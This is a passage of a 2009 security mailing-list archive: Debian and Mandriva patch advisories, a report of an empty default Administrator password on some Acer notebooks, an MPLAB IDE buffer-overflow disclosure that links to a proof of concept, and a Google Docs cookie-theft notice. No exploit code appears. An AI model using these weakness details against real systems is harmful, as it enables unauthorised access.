http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-udeb_1.20.5-3+lenny1_mipsel.udeb
Size/MD5 checksum: 214958 7769a23b0b01c1a2e6c9d5c1ddfcbf2d
http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-0_1.20.5-3+lenny1_mipsel.deb
Size/MD5 checksum: 289920 f5fe5109626ea15d4ac1bce9c0b71770
powerpc architecture (PowerPC)
http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-0-dbg_1.20.5-3+lenny1_powerpc.deb
Size/MD5 checksum: 773220 457169c33176b45884ee9067371d637f
http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-dev_1.20.5-3+lenny1_powerpc.deb
Size/MD5 checksum: 398320 53b0dc4efef029e45c56329e00ade91d
http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-0_1.20.5-3+lenny1_powerpc.deb
Size/MD5 checksum: 306970 578c803e2a1171ddc8aa97ceffa15960
http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-udeb_1.20.5-3+lenny1_powerpc.udeb
Size/MD5 checksum: 226166 5c3e4d633920eb234350d11427c11f58
s390 architecture (IBM S/390)
http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-0_1.20.5-3+lenny1_s390.deb
Size/MD5 checksum: 318020 3e5e9ff014e947fe98340a930ad8d48e
http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-dev_1.20.5-3+lenny1_s390.deb
Size/MD5 checksum: 384816 88e6d9ae4dd82993392728147957d953
http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-0-dbg_1.20.5-3+lenny1_s390.deb
Size/MD5 checksum: 761086 2120bb434453f0cb5e27e729c2471c89
http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-udeb_1.20.5-3+lenny1_s390.udeb
Size/MD5 checksum: 238092 5c965942930aa36edbe3c4d84783dec9
sparc architecture (Sun SPARC/UltraSPARC)
http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-udeb_1.20.5-3+lenny1_sparc.udeb
Size/MD5 checksum: 205580 01217a572cdb3eaa3d2b6fba10b5c279
http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-dev_1.20.5-3+lenny1_sparc.deb
Size/MD5 checksum: 364812 606fc9bfd6a8f2da87060019d7078a7a
http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-0-dbg_1.20.5-3+lenny1_sparc.deb
Size/MD5 checksum: 677108 a6e8d91832c3cfc07a5f4a2d4ed5173e
http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-0_1.20.5-3+lenny1_sparc.deb
Size/MD5 checksum: 281650 8925fa5807479331385e32c53c7fc87f
These files will probably be moved into the stable distribution on
its next update.
- ---------------------------------------------------------------------------------
For apt-get: deb
http://security.debian.org/ stable/updates main
For dpkg-ftp:
ftp://security.debian.org/debian-security dists/stable/updates/main
Mailing list: debian-security-announce@lists.debian.org
Package info: `apt-cache show <pkg>' and
http://packages.debian.org/<pkg>
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)
iEYEARECAAYFAkoGnYgACgkQ62zWxYk/rQfdEQCfa0z/TMG9gcXl2V1WoBFZBbOz
/LwAnjWZdEt/EQQMhLA/SfBHYU+uSZgF
=IlbY
-----END PGP SIGNATURE-----
From - Mon May 11 09:42:10 2009
X-Account-Key: account7
X-UIDL: 4909bb8c000078d9
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
Return-Path: <bugtraq-return-40272-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing3.securityfocus.com (outgoing.securityfocus.com [205.206.231.27])
by mx.securityspace.com (Postfix) with ESMTP id 26D90EC0C0
for <lists@securityspace.com>; Mon, 11 May 2009 09:37:17 -0400 (EDT)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing3.securityfocus.com (Postfix) with QMQP
id 81DE02372B6; Mon, 11 May 2009 07:10:30 -0600 (MDT)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 18750 invoked from network); 10 May 2009 13:22:54 -0000
Message-ID: <00ca01c9d172$69c33ed0$010000c0@ml>
Reply-To: "MustLive" <mustlive@websecurity.com.ua>
From: "MustLive" <mustlive@websecurity.com.ua>
To: <bugtraq@securityfocus.com>
Subject: Insufficient Authentication vulnerability in Acer notebooks
Date: Sun, 10 May 2009 16:22:32 +0300
Organization: Websecurity
MIME-Version: 1.0
Content-Type: text/plain;
format=flowed;
charset="windows-1251";
reply-type=original
Content-Transfer-Encoding: 8bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2900.2527
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2527
Status:
Hello SecurityFocus!
I want to warn you about vulnerability in Acer notebooks.
It's Insufficient Authentication vulnerability. Which I found 28.04.2009 in
two my notebooks. At these notebooks Windows XP Home Rus is using, in case
of other OS the vulnerability can be also present.
In Windows XP Home in default administrator's account �Administrator� there
is empty password. And it does not set equal to password of first admin,
when admin account is creating during first start of notebook (as it happens
during installation of Windows XP). So with physical access to notebook,
anybody can enter into the system with administrator's rights.
Vulnerable models of notebooks: Acer TravelMate 2313LC, Acer TravelMate
2413LC and potentially other models.
I mentioned about these vulnerability at my site
(
http://websecurity.com.ua/3127/).
Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua
From - Mon May 11 09:52:10 2009
X-Account-Key: account7
X-UIDL: 4909bb8c000078db
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
Return-Path: <bugtraq-return-40273-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing3.securityfocus.com (outgoing.securityfocus.com [205.206.231.27])
by mx.securityspace.com (Postfix) with ESMTP id 009FDEC13F
for <lists@securityspace.com>; Mon, 11 May 2009 09:46:41 -0400 (EDT)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing3.securityfocus.com (Postfix) with QMQP
id 1B915237336; Mon, 11 May 2009 07:10:41 -0600 (MDT)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 21626 invoked from network); 10 May 2009 15:32:04 -0000
To: bugtraq@securityfocus.com
Subject: [ MDVSA-2009:109 ] quagga
Date: Sun, 10 May 2009 17:32:00 +0200
From: security@mandriva.com
Reply-To: <xsecurity@mandriva.com>
Message-Id: <E1M3B0S-0005cG-Q4@titan.mandriva.com>
Status:
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
_______________________________________________________________________
Mandriva Linux Security Advisory MDVSA-2009:109
http://www.mandriva.com/security/
_______________________________________________________________________
Package : quagga
Date : May 10, 2009
Affected: Corporate 4.0
_______________________________________________________________________
Problem Description:
The BGP daemon (bgpd) in Quagga 0.99.11 and earlier allows remote
attackers to cause a denial of service (crash) via an AS path
containing ASN elements whose string representation is longer than
expected, which triggers an assert error (CVE-2009-1572).
Updated packages are available that bring Quagga to version 0.99.12
which provides numerous bugfixes over the previous 0.99.9 version,
and also corrects this issue.
_______________________________________________________________________
References:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1572
_______________________________________________________________________
Updated Packages:
Corporate 4.0:
48c1d2504e08d2a26ac6ace2bc01124d corporate/4.0/i586/libquagga0-0.99.12-0.1.20060mlcs4.i586.rpm
df93a452f47b8926f65a51231dd11f36 corporate/4.0/i586/libquagga0-devel-0.99.12-0.1.20060mlcs4.i586.rpm
d2386e488423fbb81e44cb6dda4de9df corporate/4.0/i586/quagga-0.99.12-0.1.20060mlcs4.i586.rpm
d4b9c5e2cec03ce49a76adcfe0e4a42e corporate/4.0/i586/quagga-contrib-0.99.12-0.1.20060mlcs4.i586.rpm
15e76c29c25f7730eae72c18da15b772 corporate/4.0/SRPMS/quagga-0.99.12-0.1.20060mlcs4.src.rpm
Corporate 4.0/X86_64:
afc986d05e0bde73541f0cfe5b147d2c corporate/4.0/x86_64/lib64quagga0-0.99.12-0.1.20060mlcs4.x86_64.rpm
4cc0bec07f2b919abeac75dc06d7f3c0 corporate/4.0/x86_64/lib64quagga0-devel-0.99.12-0.1.20060mlcs4.x86_64.rpm
3d606fef235993483e9a448665e4e377 corporate/4.0/x86_64/quagga-0.99.12-0.1.20060mlcs4.x86_64.rpm
f549ced36115d6609ac835c5aca0863d corporate/4.0/x86_64/quagga-contrib-0.99.12-0.1.20060mlcs4.x86_64.rpm
15e76c29c25f7730eae72c18da15b772 corporate/4.0/SRPMS/quagga-0.99.12-0.1.20060mlcs4.src.rpm
_______________________________________________________________________
To upgrade automatically use MandrivaUpdate or urpmi. The verification
of md5 checksums and GPG signatures is performed automatically for you.
All packages are signed by Mandriva for security. You can obtain the
GPG public key of the Mandriva Security Team by executing:
gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98
You can view other update advisories for Mandriva Linux at:
http://www.mandriva.com/security/advisories
If you want to report vulnerabilities, please contact
security_(at)_mandriva.com
_______________________________________________________________________
Type Bits/KeyID Date User ID
pub 1024D/22458A98 2000-07-10 Mandriva Security Team
<security*mandriva.com>
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)
iD8DBQFKBsjAmqjQ0CJFipgRAkoyAJ4o+uz6I6p3tycZQfB5GbqTsTL5TwCgjJHK
lIRHZW4+jB0P4UXMSyVUpxo/xe
-----END PGP SIGNATURE-----
From - Mon May 11 10:12:10 2009
X-Account-Key: account7
X-UIDL: 4909bb8c000078e0
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
Return-Path: <bugtraq-return-40274-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing3.securityfocus.com (outgoing.securityfocus.com [205.206.231.27])
by mx.securityspace.com (Postfix) with ESMTP id B47FCEC13F
for <lists@securityspace.com>; Mon, 11 May 2009 10:08:01 -0400 (EDT)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing3.securityfocus.com (Postfix) with QMQP
id 02C5F237341; Mon, 11 May 2009 07:11:13 -0600 (MDT)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 5186 invoked from network); 11 May 2009 05:10:16 -0000
X-Spam-Processed: bkav.com.vn, Mon, 11 May 2009 12:06:54 +0700
(not processed: spam filter heuristic analysis disabled)
X-Authenticated-Sender: svrt@bkav.com.vn
X-MDRemoteIP: 192.168.111.124
X-Return-Path: svrt@bkav.com.vn
X-Envelope-From: svrt@bkav.com.vn
X-MDaemon-Deliver-To: bugtraq@securityfocus.com
Message-ID: <4A07B267.3070708@bkav.com.vn>
Date: Mon, 11 May 2009 12:06:47 +0700
From: Bkis <svrt@bkav.com.vn>
User-Agent: Thunderbird 2.0.0.21 (Windows/20090302)
MIME-Version: 1.0
To: bugtraq@securityfocus.com, full-disclosure@lists.grok.org.uk
Subject: [Bkis-08-2009] Microchip MPLAB IDE Buffer Overflow Vulnerability
Content-Type: text/plain; charset=windows-1252; format=flowed
Content-Transfer-Encoding: 8bit
Status:
Microchip MPLAB IDE Buffer Overflow Vulnerability
1. General Information
MPLAB IDE is a famous Integrated Development Environment (IDE) of
Microchip (www.microchip.com) that provides a single integrated
environment to develop applications for Microchip microcontrollers and
digital signal controllers.
In March 2009, Bkis has just detected a vulnerability in this software.
This vulnerability arises from the way MPLAB IDE processes IDE Project
files with extension of .mcp. It could lead to a critical buffer
overflow error that allows hackers to execute malicious code on users�
systems. We have submitted to vendor.
Details :
http://security.bkis.vn/?pe4
Bkis Advisory : Bkis-08-2009.
Initial vendor notification : 15/03/2009
Release Date : 11/05/2009
Update Date : 11/05/2009
Discovered by : Le Duc Anh, Bkis.
Attack Type : Buffer Overflow.
Security Rating : High.
Impact : Code Execution.
Affected Software : Microchip MPLAB IDE 8.30 (Prior versions may also be
affected).
PoC :
http://security.bkis.vn/wp-content/uploads/2009/05/mplap_ide_poc.zip
2. Technical Description
MCP files are used to store essential information about a MPLAB IDE
Project (in plain text). The software has not handled the file format
well enough resulting in a critical security issue. Many fields in this
file format might create buffer overflow error when set with an overly
long value such as: [FILE_INFO], [CAT_FILTERS] �.
In order to exploit, a hacker might create a specially crafted .mcp file
and trick users into using it. If successful, hackers can perform local
attack, inject viruses, steal sensitive information and even take
control of the victim�s system.
3. Solution
The vendor hasn�t fixed this vulnerability yet. Therefore, Bkis
recommends that users be cautious with MPLAB IDE Project source from
untrustworthy sources until the vendor release the patch.
Bkis (
http://security.bkis.vn)
From - Mon May 11 11:02:10 2009
X-Account-Key: account7
X-UIDL: 4909bb8c000078e7
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
Return-Path: <bugtraq-return-40275-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing3.securityfocus.com (outgoing.securityfocus.com [205.206.231.27])
by mx.securityspace.com (Postfix) with ESMTP id CAD6DEC13B
for <lists@securityspace.com>; Mon, 11 May 2009 10:56:09 -0400 (EDT)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing3.securityfocus.com (Postfix) with QMQP
id 07A4F237355; Mon, 11 May 2009 08:50:47 -0600 (MDT)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 17069 invoked from network); 11 May 2009 13:55:40 -0000
Comment: DomainKeys? See
http://antispam.yahoo.com/domainkeys
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws;
s=private; d�000.es;
b=lzuD6O4vLmoKtFju95Q9HTuH690ZAB6Lf/VNBzy4z9NDTVN6o219I9szaBikPpK9 ;
From: =?iso-8859-1?Q?David_S�nchez_Mart�n?= <dsanchez@e2000.es>
To: <bugtraq@securityfocus.com>
References: <00ca01c9d172$69c33ed0$010000c0@ml>
Subject: RE: Insufficient Authentication vulnerability in Acer notebooks
Date: Mon, 11 May 2009 15:55:04 +0200
Message-ID: <D4C6B087FA434EACB6CD10AEF2C8FD04@e2000.local>
MIME-Version: 1.0
X-Mailer: Microsoft Office Outlook 11
In-Reply-To: <00ca01c9d172$69c33ed0$010000c0@ml>
Content-Type: multipart/signed;
boundary="----=_NextPart_000_00BE_01C9D250.D9741590";
micalg=SHA1;
protocol="application/x-pkcs7-signature"
Thread-Index: AcnSPKLrLejw4do4SiuX6OGShbZYsAAAs61w
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.5579
Status:
This is a multi-part message in MIME format.
------=_NextPart_000_00BE_01C9D250.D9741590
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
hi folk,
Is not that a simple design decission? (truly brain-dead, but a
conscious decission).
> -----Mensaje original-----
> De: MustLive [mailto:mustlive@websecurity.com.ua]
> Enviado el: domingo, 10 de mayo de 2009 15:23
> Para: bugtraq@securityfocus.com
> Asunto: Insufficient Authentication vulnerability in Acer notebooks
>
> Hello SecurityFocus!
>
> I want to warn you about vulnerability in Acer notebooks.
>
> It's Insufficient Authentication vulnerability. Which I found
> 28.04.2009 in
> two my notebooks. At these notebooks Windows XP Home Rus is
> using, in case
> of other OS the vulnerability can be also present.
>
> In Windows XP Home in default administrator's account
> �Administrator� there
> is empty password. And it does not set equal to password of
> first admin,
> when admin account is creating during first start of notebook
> (as it happens
> during installation of Windows XP). So with physical access
> to notebook,
> anybody can enter into the system with administrator's rights.
>
> Vulnerable models of notebooks: Acer TravelMate 2313LC, Acer
> TravelMate
> 2413LC and potentially other models.
>
> I mentioned about these vulnerability at my site
> (
http://websecurity.com.ua/3127/).
>
> Best wishes & regards,
> MustLive
> Administrator of Websecurity web site
>
http://websecurity.com.ua
>
>
------=_NextPart_000_00BE_01C9D250.D9741590
Content-Type: application/x-pkcs7-signature;
name="smime.p7s"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
filename="smime.p7s"
MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIII9zCCAn8w
ggHooAMCAQICEEHUQX5KL/jZqWY0cL8LqT8wDQYJKoZIhvcNAQEFBQAwYjELMAkGA1UEBhMCWkEx
JTAjBgNVBAoTHFRoYXd0ZSBDb25zdWx0aW5nIChQdHkpIEx0ZC4xLDAqBgNVBAMTI1RoYXd0ZSBQ
ZXJzb25hbCBGcmVlbWFpbCBJc3N1aW5nIENBMB4XDTA5MDEyNzExMTMxMVoXDTEwMDEyNzExMTMx
MVowajEXMBUGA1UEBBMOU2FuY2hleiBNYXJ0aW4xDjAMBgNVBCoTBURhdmlkMR0wGwYDVQQDExRE
YXZpZCBTYW5jaGV6IE1hcnRpbjEgMB4GCSqGSIb3DQEJARYRZHNhbmNoZXpAZTIwMDAuZXMwgZ8w
DQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBANKGbnv33c7ktf00ttRQIzHVjIR1DWGvmCR5D+ZvV6GB
LRXvySd4rA3/E9iatIgap6iSWjwNx9v/HtfvgGI5vpWqsTzaVve0T+43Dps3INcV2P+cDwS0hk85
+M12vEqHILGPvCBePnldKacWJvE3gKqNLExaEuL3+YoALjZUOOUlAgMBAAGjLjAsMBwGA1UdEQQV
MBOBEWRzYW5jaGV6QGUyMDAwLmVzMAwGA1UdEwEB/wQCMAAwDQYJKoZIhvcNAQEFBQADgYEAEsJp
P4lABcQ0chCLqpdBD4cKmq6ljUsEetgLKYdrupIxOItIfBSYM70HhMcSr4rV6recbSCzUcLSegZx
b9Wlk9awQGH65JQfsne0d2K1PPySTwhRLXzRqqr5dsosOGutoUe5Lsi8Sv5dVsrjiKY90xMztqS7
D9hIh0BHEAEl5xcwggMtMIIClqADAgECAgEAMA0GCSqGSIb3DQEBBAUAMIHRMQswCQYDVQQGEwJa
QTEVMBMGA1UECBMMV2VzdGVybiBDYXBlMRIwEAYDVQQHEwlDYXBlIFRvd24xGjAYBgNVBAoTEVRo
YXd0ZSBDb25zdWx0aW5nMSgwJgYDVQQLEx9DZXJ0aWZpY2F0aW9uIFNlcnZpY2VzIERpdmlzaW9u
MSQwIgYDVQQDExtUaGF3dGUgUGVyc29uYWwgRnJlZW1haWwgQ0ExKzApBgkqhkiG9w0BCQEWHHBl
cnNvbmFsLWZyZWVtYWlsQHRoYXd0ZS5jb20wHhcNOTYwMTAxMDAwMDAwWhcNMjAxMjMxMjM1OTU5
WjCB0TELMAkGA1UEBhMCWkExFTATBgNVBAgTDFdlc3Rlcm4gQ2FwZTESMBAGA1UEBxMJQ2FwZSBU
b3duMRowGAYDVQQKExFUaGF3dGUgQ29uc3VsdGluZzEoMCYGA1UECxMfQ2VydGlmaWNhdGlvbiBT
ZXJ2aWNlcyBEaXZpc2lvbjEkMCIGA1UEAxMbVGhhd3RlIFBlcnNvbmFsIEZyZWVtYWlsIENBMSsw
KQYJKoZIhvcNAQkBFhxwZXJzb25hbC1mcmVlbWFpbEB0aGF3dGUuY29tMIGfMA0GCSqGSIb3DQEB
AQUAA4GNADCBiQKBgQDUadfUsJRkW3HpR9gMUbbqcpGwhF59LQ2PexLfhSV1KHQ6QixjJ5+Ve0vv
fhmHHYbqo925zpZkGsIUbkSsfOaP6E0PcR9AOKYAo4d49vmUhl6t6sBeduvZFKNdbnp8DKVLVX8G
GSl/npom1Wq7OCQIapjHsdqjmJH9edvlWsQcuQIDAQABoxMwETAPBgNVHRMBAf8EBTADAQH/MA0G
CSqGSIb3DQEBBAUAA4GBAMfskn5O+PWWpWdiKqTwTRFg0G+NYFhhrCa7UjVcCM8w+6hKloofYkIj
jBcP9LpknBesRynfnZhe0mxgcVyirNx54+duAEcftQ0o6AKd5Jr9E/Sm2Xyx+NxfIyYJkYBz0BQb
3kOpgyXy5pwvFcr+pquKB3WLDN1RhGvk+NHOd6KBMIIDPzCCAqigAwIBAgIBDTANBgkqhkiG9w0B
AQUFADCB0TELMAkGA1UEBhMCWkExFTATBgNVBAgTDFdlc3Rlcm4gQ2FwZTESMBAGA1UEBxMJQ2Fw
ZSBUb3duMRowGAYDVQQKExFUaGF3dGUgQ29uc3VsdGluZzEoMCYGA1UECxMfQ2VydGlmaWNhdGlv
biBTZXJ2aWNlcyBEaXZpc2lvbjEkMCIGA1UEAxMbVGhhd3RlIFBlcnNvbmFsIEZyZWVtYWlsIENB
MSswKQYJKoZIhvcNAQkBFhxwZXJzb25hbC1mcmVlbWFpbEB0aGF3dGUuY29tMB4XDTAzMDcxNzAw
MDAwMFoXDTEzMDcxNjIzNTk1OVowYjELMAkGA1UEBhMCWkExJTAjBgNVBAoTHFRoYXd0ZSBDb25z
dWx0aW5nIChQdHkpIEx0ZC4xLDAqBgNVBAMTI1RoYXd0ZSBQZXJzb25hbCBGcmVlbWFpbCBJc3N1
aW5nIENBMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDEpjxVc1X7TrnKmVoeaMB1BHCd3+n/
ox7svc31W/Iadr1/DDph8r9RzgHU5VAKMNcCY1osiRVwjt3J8CuFWqo/cVbLrzwLB+fxH5E2JCoT
zyvV84J3PQO+K/67GD4Hv0CAAmTXp6a7n2XRxSpUhQ9IBH+nttE8YQRAHmQZcmC3+wIDAQABo4GU
MIGRMBIGA1UdEwEB/wQIMAYBAf8CAQAwQwYDVR0fBDwwOjA4oDagNIYyaHR0cDovL2NybC50aGF3
dGUuY29tL1RoYXd0ZVBlcnNvbmFsRnJlZW1haWxDQS5jcmwwCwYDVR0PBAQDAgEGMCkGA1UdEQQi
MCCkHjAcMRowGAYDVQQDExFQcml2YXRlTGFiZWwyLTEzODANBgkqhkiG9w0BAQUFAAOBgQBIjNFQ
g+oLLswNo2asZw9/r6y+whehQ5aUnX9MIbj4Nh+qLZ82L8D0HFAgk3A8/a3hYWLD2ToZfoSxmRsA
xRoLgnSeJVCUYsfbJ3FXJY3dqZw5jowgT2Vfldr394fWxghOrvbqNOUQGls1TXfjViF4gtwhGTXe
JLHTHUb/XV9lTzGCAvgwggL0AgEBMHYwYjELMAkGA1UEBhMCWkExJTAjBgNVBAoTHFRoYXd0ZSBD
b25zdWx0aW5nIChQdHkpIEx0ZC4xLDAqBgNVBAMTI1RoYXd0ZSBQZXJzb25hbCBGcmVlbWFpbCBJ
c3N1aW5nIENBAhBB1EF+Si/42almNHC/C6k/MAkGBSsOAwIaBQCgggHYMBgGCSqGSIb3DQEJAzEL
BgkqhkiG9w0BBwEwHAYJKoZIhvcNAQkFMQ8XDTA5MDUxMTEzNTUwNFowIwYJKoZIhvcNAQkEMRYE
FJRizefOHLWBghc/9nOONLBfQYyEMGcGCSqGSIb3DQEJDzFaMFgwCgYIKoZIhvcNAwcwDgYIKoZI
hvcNAwICAgCAMA0GCCqGSIb3DQMCAgFAMAcGBSsOAwIHMA0GCCqGSIb3DQMCAgEoMAcGBSsOAwIa
MAoGCCqGSIb3DQIFMIGFBgkrBgEEAYI3EAQxeDB2MGIxCzAJBgNVBAYTAlpBMSUwIwYDVQQKExxU
aGF3dGUgQ29uc3VsdGluZyAoUHR5KSBMdGQuMSwwKgYDVQQDEyNUaGF3dGUgUGVyc29uYWwgRnJl
ZW1haWwgSXNzdWluZyBDQQIQQdRBfkov+NmpZjRwvwupPzCBhwYLKoZIhvcNAQkQAgsxeKB2MGIx
CzAJBgNVBAYTAlpBMSUwIwYDVQQKExxUaGF3dGUgQ29uc3VsdGluZyAoUHR5KSBMdGQuMSwwKgYD
VQQDEyNUaGF3dGUgUGVyc29uYWwgRnJlZW1haWwgSXNzdWluZyBDQQIQQdRBfkov+NmpZjRwvwup
PzANBgkqhkiG9w0BAQEFAASBgCJ/CN7dKV8XK1vbp3lu7qy7OzGEe1i5LCHAKF+AbKb0FZ5sFDrM
l+NkLixZSaQ1x2ubczvmPwtHm8Q1W19tYlfccYT70o4LjtiVaDph+4G5oos8JEaHfrbF0nOIIib2
n1LsiP3fb3Bckked940mNPsg/1IgoX1DPkWZFhf5kaFOAAAAAAAA
------=_NextPart_000_00BE_01C9D250.D9741590--
From - Mon May 11 11:12:10 2009
X-Account-Key: account7
X-UIDL: 4909bb8c000078e8
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
Return-Path: <bugtraq-return-40276-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing3.securityfocus.com (outgoing.securityfocus.com [205.206.231.27])
by mx.securityspace.com (Postfix) with ESMTP id 9D71EEC13E
for <lists@securityspace.com>; Mon, 11 May 2009 11:06:23 -0400 (EDT)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing3.securityfocus.com (Postfix) with QMQP
id 398AA237050; Mon, 11 May 2009 08:56:17 -0600 (MDT)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 17504 invoked from network); 11 May 2009 14:05:44 -0000
Message-ID: <4A08309F.4040903@secniche.org>
Date: Mon, 11 May 2009 19:35:19 +0530
From: Aditya K Sood <0kn0ck@secniche.org>
User-Agent: Thunderbird 2.0.0.21 (Windows/20090302)
MIME-Version: 1.0
To: bugtraq@securityfocus.com, websecurity@webappsec.org,
submit@milw0rm.com, submissions@packetstormsecurity.org
Subject: Advisory - Gmail/Google Doc PDF Repurposing Integrated Attacks -
Cookie Hijacking / Stealing
X-Enigmail-Version: 0.95.7
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - community1.drvgv.com
X-AntiAbuse: Original Domain - securityfocus.com
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - secniche.org
Status:
Hi
Google docs network was vulnerable to PDF repurposing attacks. The
vulnerability was disclosed to Google with a discretion.
This was done to mitigate the risk . Google had worked over it and
patched it with in a period of 5 days. The Google doc has
been refined now and the integrated support for adobe plugin is removed.
The user security was the prime issue because millions
of user were at risk if this attack persisted in the open environment.
Integrated accounts were more susceptible as certain
stolen credentials could be used to access accounts.
The advisory is released here:
http://secniche.org/gmd_hijack/gc_hijack.xhtml
http://secniche.org/gmd_hijack/advisory_gmail_google_docs_pdf_repurposing_attack.pdf
Regards
Aditya KS
http://www.secniche.org
From - Mon May 11 11:22:10 2009
X-Account-Key: account7
X-UIDL: 4909bb8c000078e9
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
Return-Path: <bugtraq-return-40277-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing3.securityfocus.com (outgoing.securityfocus.com [205.206.231.27])
by mx.securityspace.com (Postfix) with ESMTP id 1F89CEC10F
for <lists@securityspace.com>; Mon, 11 May 2009 11:22:00 -0400 (EDT)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing3.securityfocus.com (Postfix) with QMQP
id 5F033237487; Mon, 11 May 2009 08:57:13 -0600 (MDT)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 18525 invoked from network); 11 May 2009 14:29:26 -0000
X-Spam-Virus: No
